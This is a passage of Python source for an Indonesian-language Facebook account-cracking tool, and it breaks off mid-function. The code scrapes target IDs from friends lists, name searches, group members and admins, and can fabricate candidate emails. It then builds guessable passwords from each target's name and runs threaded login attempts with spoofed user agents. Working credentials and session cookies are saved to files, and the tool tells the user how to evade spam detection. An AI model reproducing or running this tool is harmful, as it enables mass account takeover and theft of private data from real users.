- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, rahmawati[bold white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Total Dump Email, Dump Email Dengan Jumlah Di Wajibkan Melebihi [bold red]2000!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- total = Console().input("[bold grey50] ╰─> ")
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Domain, Example :[italic green] @gmail.com, @yahoo.com dan lainnya", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- domain = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Clone_Email(self.username, total, domain)
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Email Terlalu Sedikit, Dump Email Harus Melebihi 50 Email Dan Pastikan Target Nama Umum!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '08' or query == '8':
- try:
- Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result CP',style='bold grey50'), justify='center')
- choose = Console().input("[bold grey50] ╰─> ")
- if choose =='01' or choose =='1':
- try: file = os.listdir('/sdcard/OK')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File OK[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]ok-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- self.Result(choose,files)
- exit()
- elif choose =='02' or choose =='2':
- try:
- file = os.listdir('/sdcard/CP')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]cp-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- self.Result(choose,files)
- exit()
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Chek Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '00' or query == '0':
- try: self.deled_dst()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold blue50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Facebook!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Result(self, result, isi):
- if result in ('1','01'):
- for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
- try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true.add(f"Teman {buka.split('|')[2]}"); true.add(f"Tanggal Lahir {buka.split('|')[3]}"); true = tree.add(f"Cookie {buka.split('|')[4]}"); tree.add("Success cek in Result OK"); printz(tree)
- except Exception as e: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true = tree.add(f"Cookie {buka.split('|')[2]}"); tree.add("Success cek in Result OK"); printz(tree)
- elif result in ('2','02'):
- for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
- try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
- except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
- def Dump_Friends(self,username,token,cookie):
- with requests.Session() as r:
- try:
- resp = r.get(f'https://graph.facebook.com/{username}?fields=friends.fields(id,name)&limit=5000&access_token={token[1]}', cookies={'cookie':cookie[0]}).json()
- for i in resp['friends']['data']:
- uid, name = i['id'], i['name']
- if uid+'<=>'+name not in dump:
- dump.append(uid+'<=>'+name)
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} ID... ", end='\r')
- except (AttributeError, KeyboardInterrupt) as e: pass
- def Dump_Nama(self, url, cookie, cursor):
- with requests.Session() as r:
- try:
- curl = bs(r.get(url, headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text,'html.parser')
- self.payload = Requ().payload(curl)
- self.payload.update({
- 'fb_api_req_friendly_name': 'SearchCometResultsPaginatedResultsQuery',
- 'variables':json.dumps({"UFI2CommentsProvider_commentsKey":"SearchCometResultsInitialResultsQuery","allow_streaming":False,"args":{"callsite":"COMET_GLOBAL_SEARCH","config":{"exact_match":False,"high_confidence_config":None,"intercept_config":None,"sts_disambiguation":None,"watch_config":None},"context":{"bsid":re.search('"bsid":"(.*?)"',str(curl)).group(1),"tsid":None},"experience":{"encoded_server_defined_params":None,"fbid":None,"type":"PEOPLE_TAB"},"filters":[],"text":url.split('=')[-1].replace('+',' ')},"count":5,"cursor":cursor,"displayCommentsContextEnableComment":False,"displayCommentsContextIsAdPreview":False,"displayCommentsContextIsAggregatedShare":False,"displayCommentsContextIsStorySet":False,"displayCommentsFeedbackContext":None,"feedLocation":"SEARCH","feedbackSource":23,"fetch_filters":True,"focusCommentID":None,"locale":None,"privacySelectorRenderLocation":"COMET_STREAM","renderLocation":"search_results_page","scale":1.5,"stream_initial_count":0,"useDefaultActor":False,"__relay_internal__pv__IsWorkUserrelayprovider":False,"__relay_internal__pv__IsMergQAPollsrelayprovider":False,"__relay_internal__pv__CometUFIReactionsEnableShortNamerelayprovider":False,"__relay_internal__pv__CometUFIIsRTAEnabledrelayprovider":False,"__relay_internal__pv__StoriesArmadilloReplyEnabledrelayprovider":False,"__relay_internal__pv__StoriesRingrelayprovider":False}),
- 'server_timestamps':True,
- 'doc_id':'7704205549605925'
- })
- resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
- for i in resp['data']['serpResponse']['results']['edges']:
- uid, nama = i['relay_rendering_strategy']['view_model']['loggedProfile']['id'], i['relay_rendering_strategy']['view_model']['loggedProfile']['name']
- if uid+'<=>'+nama not in dump:
- dump.append(uid+'<=>'+nama)
- Console().print(f"[bold grey50] ╰─>[bold green] Dump {len(dump)} User ID... ", end='\r')
- if resp['data']['serpResponse']['results']['page_info']['has_next_page']:
- cursor = resp['data']['serpResponse']['results']['page_info']['end_cursor']
- self.Dump_Nama(url,cookie,cursor)
- except (AttributeError, KeyboardInterrupt) as e: pass
- def Dump_Member(self, username, cookie, cursor):
- with requests.Session() as r:
- try:
- curl = r.get('https://www.facebook.com/groups/%s/members'%(username), headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text
- self.payload = Requ().payload(curl)
- self.payload.update({
- 'fb_api_req_friendly_name': 'GroupsCometMembersPageNewMembersSectionRefetchQuery',
- 'server_timestamps':True,
- 'doc_id':'6621621524622624',
- 'variables':json.dumps({"count":10,"cursor":cursor,"groupID": re.search('"groupID":"(.*?)"',str(curl)).group(1),"recruitingGroupFilterNonCompliant":False,"scale":1.5,"id": re.search('"groupID":"(.*?)"',str(curl)).group(1)})
- })
- resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
- for i in resp['data']['node']['new_members']['edges']:
- uid, nama = i['node']['id'], i['node']['name']
- if uid+'<=>'+nama not in dump:
- dump.append(uid+'<=>'+nama)
- Console().print(f"[bold grey50] ╰─>[bold green] Dump {len(dump)} User ID... ", end='\r')
- if resp['data']['node']['new_members']['page_info']['has_next_page']:
- cursor = resp['data']['node']['new_members']['page_info']['end_cursor']
- self.Dump_Member(username,cookie,cursor)
- except (AttributeError, KeyboardInterrupt) as e: pass
- def Dump_Admin(self, url, cookie):
- with requests.Session() as r:
- try:
- link = r.get(url, cookies={'cookie':cookie[0]}).text
- cari = re.findall('<a\s+href="([^"]+)"><div class\=\".*?"><div class\=\".*?">([^<]+)</div>', str(link))
- for x in cari:
- if "groups" in x[0]:
- xx =r.get(f"https://mbasic.facebook.com/groups/{re.search('groups/(.*?)/', x[0]).group(1)}?view=members", cookies={'cookie':cookie[0]})
- if "Admin dan Moderator" in str(xx.text):
- carz = re.findall('<h3><a class\=\".*?" href="(.*?)">(.*?)</a></h3>', xx.text)
- for i in carz:
- if "profile.php?" in i[0]: uid, nama = re.findall("id=(.*?)&eav", i[0])[0], i[1]
- else: uid, nama = re.findall("/(.*?)\?eav", i[0])[0], i[1]
- else: continue
- if uid+'<=>'+nama not in dump: dump.append(uid+'<=>'+nama)
- else: continue
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(uid)[:20]}/{len(uid)} Admin... ", end='\r')
- if "Lihat Hasil Selanjutnya" in link:
- self.Dump_Admin(bs(link, "html.parser").find("a", string="Lihat Hasil Selanjutnya").get("href"), cookie)
- except (AttributeError, KeyboardInterrupt) as e: pass
- def Clone_Email(self, nama, total, doma):
- orang = ['dinda','adinda','rahma','rahmawati','suci','sucika','cantik','cantika','bagus','bagusin','bagas','bagasin','ulfah','ilham','ilhamsyah','randu','rindu','sayang','sayangku','cinta','cintaku','opah','fatimah','fatih','basuki','munir','munawirul','kolbi','zulkifli','ayahab','putriani','ahmadun','ahmad','puspita','mita','dika','rahman','rohman','alvino','aldino','khan','syarif','sarip','sarifuddin','saifuddin','kafabih','ridho','tito','afif','afifatur']
- with ThreadPoolExecutor(max_workers=5):
- for bukan_kaleng in range(int(total)):
- dumping = random.choice([
- f'{nama}{random.randint(24,999)}{doma}',
- f"{nama}{random.choice(orang)}{random.randint(0,99)}{doma}",
- f"{nama}{random.choice(orang)}{doma}",
- f"{nama}{random.choice(orang)}{str(random.randint(0,99))}{doma}"
- ])
- if dumping not in dump: dump.append(dumping+'<=>'+nama)
- Console().print(f"[bold grey50] ╰─>[bold green] Dump {len(dump)} User mail... ", end='\r')
- if int(len(dump)) == total: return(int(total))
- return dump
- def Clone_Files(self, username):
- try:
- for buka in open(self.username,'r').readlines():
- try: uid, name = buka.split('|')[0], buka.split('|')[1]
- except: continue
- if uid+'<=>'+name not in dump: dump.append(uid+'<=>'+name)
- Console().print(f"[bold grey50] ╰─>[bold green] Dump {len(dump)} ID... ", end='\r')
- except (Exception, FileNotFoundError) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Methode(self):
- try:
- self.kilo.append(Panel(f'[bold green]01.[bold white] Method [bold grey50]([bold green]Web Privacy[bold grey50])\n[bold green]02.[bold white] Method [bold grey50]([bold green]Reguler Web[bold grey50])\n[bold green]03.[bold white] Method [bold grey50]([bold green]Massenger Lite[bold grey50])', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Only[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
- self.kilo.append(Panel(f'[bold green]04.[bold white] Method [bold grey50]([bold green]Asyinc[bold grey50])\n[bold green]05.[bold white] Method [bold grey50]([bold green]Reguler[bold grey50])\n[bold green]06.[bold white] Method [bold grey50]([bold green]B Api New[bold grey50])', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Api[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
- Console().print(Columns(self.kilo))
- Kntl = Console().input("[bold grey50] ╰─> ")
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menampilkan [italic green]Aplikasi, Teman, Tanggal lahir[italic white] Yang Terkait Di Dalam Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menampilkan Opsi Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menampilkan Opsi Tersebut!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menampilkan Opsi Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Secure_Akun = Console().input("[bold grey50] ╰─> ")
- if Secure_Akun =='y' or Secure_Akun =='ya': self.opsi.append('ya')
- else: self.opsi.append('tidak')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Ketik [italic red]tidak/t[italic white] Jika Anda Ingin Menggunakan Useragent Bawaan Script, Ketik [italic yellow]sendiri[italic white] Jika Anda Ingin Menggunakan Useragent Anda Sendiri Dan Ketik [italic green]scrapt[italic white] Jika Anda Ingin Menggunakan Useragent Tunggal Scrapt Dari Website [italic white]([italic blue]https://user-agents.net[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Ua_Akun = Console().input("[bold grey50] ╰─> ")
- if Ua_Akun =='sendiri' or Ua_Akun =='Sendiri':
- self.uaman.append('ya')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Anda, Anda Juga Bisa Menggunkan Useragent Baawaan Hp Anda [italic white]([italic green]my user agent[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Mugu = Console().input("[bold grey50] ╰─> ")
- self.uaku.append(Mugu)
- elif Ua_Akun =='scrapt' or Ua_Akun =='Scrapt':
- self.uaman.append('ya')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Daftar Useragent Dari Website [italic white]([italic blue]https://user-agents.net[italic white]) Yaitu : [italic green]Windows Edge, Windows Vivaldi, Nokia Browser, Vivo Browser, Samsung Browser, Redmi Browser, Oppo Browser, Huawei Browser[italic white] Silakan Masukan Pilihan Anda, Misal : [italic green]Windows Browser", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Web = Console().input("[bold grey50] ╰─> ").lower()
- if Web =='windows edge': usd = self.Scraper_Useragent('https://user-agents.net/browsers/edge')
- elif Web =='windows vivaldi': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivaldi')
- elif Web =='nokia browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/nokia-proxy-browser')
- elif Web =='vivo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivo-browser')
- elif Web =='samsung browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/samsung-browser')
- elif Web =='redmi browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/miui-browser')
- elif Web =='oppo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/oppo-browser/platforms/android')
- elif Web =='huawei browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/huaweibrowser')
- self.uaku.append(usd)
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{usd}", title = f"[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]{Web}[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- else: self.uaman.append('tidak')
- self.Exec_Password(Kntl)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Scraper_Useragent(self, url, en=[]):
- with requests.Session() as r:
- try:
- resp = r.get(url,headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}).text
- cari = re.findall("<li><a href\=\'(.*?)\'\>(.*?)\<\/a\>", resp)
- for buka in cari:
- if "Mozilla" in str(buka):
- if buka not in en:en.append(buka[1])
- Console().print(f"[bold grey50] ╰─>[bold green] Dump {len(en)} Useragent... ", end='\r')
- return(buka[1])
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Exec_Password(self, Kntl):
- try:
- Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Password Default [bold grey50]([bold green]Username, Nama 321,123,12345[bold grey50])\n[bold white][bold green]02[bold white]. Password Lengkap [bold grey50]([bold green]Username, Nama 321,123,1234,12345[bold grey50])\n[bold white][bold green]03[bold white]. Password Gabungan [bold grey50]([bold green]Bismillah, Sayang, Nama 321,123,12345[bold grey50])\n[bold white][bold green]04[bold white]. Password Manual [bold grey50]([bold green]Input Sandi Crack Minimal 5 Sandi![bold grey50])''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Password_Akun = Console().input("[bold grey50] ╰─> ")
- if Password_Akun in ('04') or Password_Akun in ('4'):
- self.masukan_sandine.append('ya')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya, Banyaknya Password Gunakan Pemisah Koma!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Masukan_Password = Console().input("[bold grey50] ╰─> ")
- for ops in Masukan_Password.split(','):
- self.password_manuale.append(ops)
- self.Password_Tambah(Kntl, Password_Akun)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Password_Tambah(self,Kntl, Password_Akun):
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menambahkan [italic green]Password Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menambahkan Password Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menambahkan Password Akun!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menambahkan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Zigarete = Console().input("[bold grey50] ╰─> ")
- if Zigarete == 'y' or Zigarete =='ya':
- self.masukan_sandi.append('ya')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya, Banyaknya Password Gunakan Pemisah Koma!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Masukan_Password = Console().input("[bold grey50] ╰─> ")
- for ops in Masukan_Password.split(','): self.password_manual.append(ops)
- else: self.masukan_sandi.append('no')
- self.Exec_Methode(Kntl, Password_Akun)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Exec_Methode(self, Kntl, Password_Akun):
- Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result [bold green]OK[bold white] Tersimpan Di : /sdcard/OK/[bold green]ok-{self.alt}\n[bold green]•[bold white] Result [bold red]CP[bold white] Tersimpan Di : /sdcard/CP/[bold red]cp-{self.alt}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Result Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width = 65).print(Panel('[italic green]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
- with ThreadPoolExecutor(max_workers=30) as V:
- for Username_And_Fullname in dump:
- username, fullname = Username_And_Fullname.split('<=>')
- self.password = []
- if Password_Akun =='01' or Password_Akun =='1':
- for nama in fullname.split(' '):
- if len(nama) < 3 or len(nama) < 5: continue
- else:
- for passwords in [f'{nama}321',f'{nama}123', f'{nama}12345']:
- self.password.append(f'{str(passwords).lower()}')
- for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
- if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
- continue
- else: self.password.append(f'{str(passwords).lower()}')
- elif Password_Akun =='02' or Password_Akun =='2':
- for nama in fullname.split(' '):
- if len(nama) < 3 or len(nama) < 5: continue
- else:
- for passwords in [f'{nama}321',f'{nama}123', f'{nama}1234',f'{nama}12345']:
- self.password.append(f'{str(passwords).lower()}')
- for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
- if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
- continue
- else: self.password.append(f'{str(passwords).lower()}')
- elif Password_Akun =='03' or Password_Akun =='3':
- for nama in fullname.split(' '):
- if len(nama) < 3 or len(nama) < 5: continue
- else:
- for passwords in ['Bismillah','Sayang',f'{nama}321',f'{nama}123', f'{nama}12345']:
- self.password.append(f'{str(passwords).lower()}')
- for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
- if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
- continue
- else: self.password.append(f'{str(passwords).lower()}')
- elif Password_Akun =='04' or Password_Akun =='4':
- for passwords in self.password_manual:
- self.password.append(f'{passwords.lower()}')
- else:
- for nama in fullname.split(' '):
- if len(nama) < 3 or len(nama) < 5: continue
- else:
- for passwords in [f'{nama}321',f'{nama}123', f'{nama}12345']:
- self.password.append(f'{str(passwords).lower()}')
- for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
- if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
- continue
- else: self.password.append(f'{str(passwords).lower()}')
- if 'ya' in self.masukan_sandine:
- for Pemasukan_Password in self.password_manuale:
- self.password.append(Pemasukan_Password)
- if Kntl in ('1') or Kntl in ('01'): V.submit(self.ExecWeb, username, self.password)
- elif Kntl in ('2') or Kntl in ('02'): V.submit(self.ExecReguler, username, self.password)
- elif Kntl in ('3') or Kntl in ('03'): V.submit(self.ExecMassenger, username, self.password)
- elif Kntl in ('4') or Kntl in ('04'): V.submit(self.ExecAsyinc, username, self.password)
- elif Kntl in ('5') or Kntl in ('05'): V.submit(self.ExecRegulerApi, username, self.password)
- elif Kntl in ('6') or Kntl in ('06'): V.submit(self.ExecApi, username, self.password)
- else: V.submit(self.ExecWeb, username, self.password)
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.ok}[bold white] Hasil [bold green]Success[bold white] Dan [bold red]{self.cp}[bold white] Hasil [bold red]Checkpoint[bold white] Dari [bold blue]{len(dump)}[bold white] ID, Semua Hasil Tersimpan Di Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Selesai[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def ExecWeb(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white] ", end='\r')
- ua_generate = Requ().useragent_fb()
- while True:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- byps.headers.update({
- 'accept-language': 'en-US,en;q=0.9',
- 'sec-fetch-mode': 'navigate',
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'connection': 'keep-alive',
- 'sec-ch-ua-mobile': '?0',
- 'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
- 'sec-fetch-sest': 'document',
- 'sec-fetch-site': 'none',
- 'cache-control': 'max-age=0',
- 'sec-fetch-user': '?1',
- 'upgrade-insecure-requests': '1',
- 'host': 'web.facebook.com',
- 'user-agent': ua_generate,
- })
- self.poge = byps.get('https://web.facebook.com/').text
- try:
- privacy_mutation_token = re.search('action="/login/\\?privacy_mutation_token=(.*?)"', str(self.poge)).group(1)
- lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
- jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
- login_source = re.search('name="login_source" value="(.*?)"', str(self.poge)).group(1)
- next = re.search('name="next" value="(.*?)"', str(self.poge)).group(1)
- __spin_t = re.search('"__spin_t":(\d+),', str(self.poge)).group(1)
- __js_datr = re.search('"_js_datr","(.*?)",', str(self.poge)).group(1)
- except (AttributeError) as e:
- continue
- self.payload = {
- 'lsd': lsd,
- 'jazoest': jazoest,
- 'login_source': login_source,
- 'next': next,
- }
- byps.headers.update({
- 'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()])+';__js_datr='+str(__js_datr),
- 'sec-fetch-site': 'same-origin',
- 'origin': 'https://web.facebook.com',
- 'accept': '*/*',
- 'sec-ch-ua-platform': 'Linux',
- 'content-type': 'application/x-www-form-urlencoded',
- 'x-fb-lsd': self.payload['lsd'],
- 'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
- 'referer': 'https://web.facebook.com/Index.php?',
- 'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
- })
- #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- break
- except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecWeb(username, password)
- except (Exception) as e: pass
- for passe in password:
- try:
- self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(__spin_t, passe)})
